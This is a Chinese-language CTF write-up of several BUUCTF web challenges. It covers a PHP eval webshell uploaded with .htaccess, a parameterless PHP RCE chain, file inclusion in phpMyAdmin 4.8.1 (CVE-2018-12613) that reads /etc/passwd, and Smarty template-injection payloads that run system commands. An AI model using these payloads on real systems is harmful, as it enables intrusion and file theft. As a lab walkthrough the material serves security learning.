buuctf-web-7
[GXYCTF2019]BabyUpload
[GXYCTF2019]禁止套娃–无参数RCE
[BJDCTF2020]The mystery of ip–模板注入
[GXYCTF2019]BabyUpload
上传了一个正常jpg图片,居然报错了
接着尝试了png,gif,txt文件,也全都上传失败,上传没有后缀名的也上传失败,这是为毛??
看了wp,发现别人是可以上传jpg和png的???有毒?
上传.htaccess
文件试试
啊,这,,,看来是题目坏了,总之做法就是,上传.htaccess
文件之后,再上传png文件即可。
注意题目过滤了<?
,所以使用<script language="php">eval($_POST['a']);</script>
来绕过。
[GXYCTF2019]禁止套娃
页面啥也没有,查看源码和看了http头啥也没有
扫一下网站后台试试
存在.git泄露问题,用工具下载源码
查看源码
1 |
|
是要传入一个exp参数,
这里有三重过滤
1.preg_match(‘/data://|filter://|php://|phar:///i’, $_GET[‘exp’]) 过滤掉php常用的几个伪协议,这样就不能去读取文件了
2.preg_replace(‘/[a-z,_]+((?R)?\)/‘, NULL, $_GET[‘exp’]) ,用正则来匹配无参数的函数,(?R)?表示递归引用之前的表达式,那么这里只能传入没有参数的函数,像这样的:xxx(xxx(xxx(…)));
3.preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’]) 正则匹配掉了et/na/info等关键字,很多函数都用不了
关于无参数RCE,这种时候就需要翻手册了,查找无参数可利用的函数
首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()
。当scandir()
传入'.'
,可以列出当前目录的所有文件
所以如果有函数能够返回'.'
的话,就可以利用它作为scandir()
的参数
localeconv()函数返回一包含本地数字及货币格式信息的数组
接下来只需要使得指针指向这个数组内的第一个值
current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
payload:?exp=var_dump(scandir(current(localeconv())));
接下来看如何读取到flag.php
next()
函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()
函数返回翻转顺序的数组。
把数组顺序倒一下,然后使用next()
,就可以读到flag
了
payload:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
[GWCTF 2019]我有一个数据库
应该是SQL注入,但是没告诉我们参数以及注入的页面。
用工具扫一下
发现存在phpmyadmin目录,访问一下
可以看到phpmyadmin的版本:4.8.1,搜索一下发现存在任意文件包含漏洞。cve-2018-12613
测试payload:?target=db_datadict.php%253f/../../../../../../../../../etc/passwd
可以成功读取
尝试读取flag
?target=db_datadict.php%253f/../../../../../../../../../flag
我们还可以尝试一下任意代码执行
新建一张数据表
之后插入数据<?php phpinfo();?>
,或者执行SQL语句INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
接下来包含这个文件,但是首先要知道这个文件的路径
可以使用SQL语句来查询:show global variables like "%datadir%";
接下来包含这个文件
linux中mysql文件的位置
?target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/test/test.ibd
不知道为什么找不到文件。。。。。。
[BJDCTF2020]The mystery of ip
index页面
是这样一个页面,
flag页面,显示了自己的ip
hint页面,页面没有什么信息,但是查看源码有个注释信息
burp抓包看看
题目提示问为什么可以获取到客户端 ip,考虑是 XFF 或 Client-IP 这两个 header,添加X-Forwarded-For: 127.0.0.1
之后,显示的ip确实变了,
这里应该是有问题的,测试了SQL注入和命令执行都不行,最后试试SSTI(Server-Side Template Injection),即服务器端模板注入。
测试一下,是否可以进行逻辑运算{7*8}
接下来试试执行命令{phpinfo();}
发生了报错,是多了和分号;
,同时我们也看到这个网站所使用的模板Smarty
接下来去掉分号看看,
接下来是找到flag了
居然不在flag.php里面,接着找
smarty注入payload
{if phpinfo()}{/if}
{if system(‘ls’)}{/if}
{ readfile(‘/flag’) }
{if show_source(‘/flag’)}{/if}
{if system(‘cat ../../../flag’)}{/if} #本题payload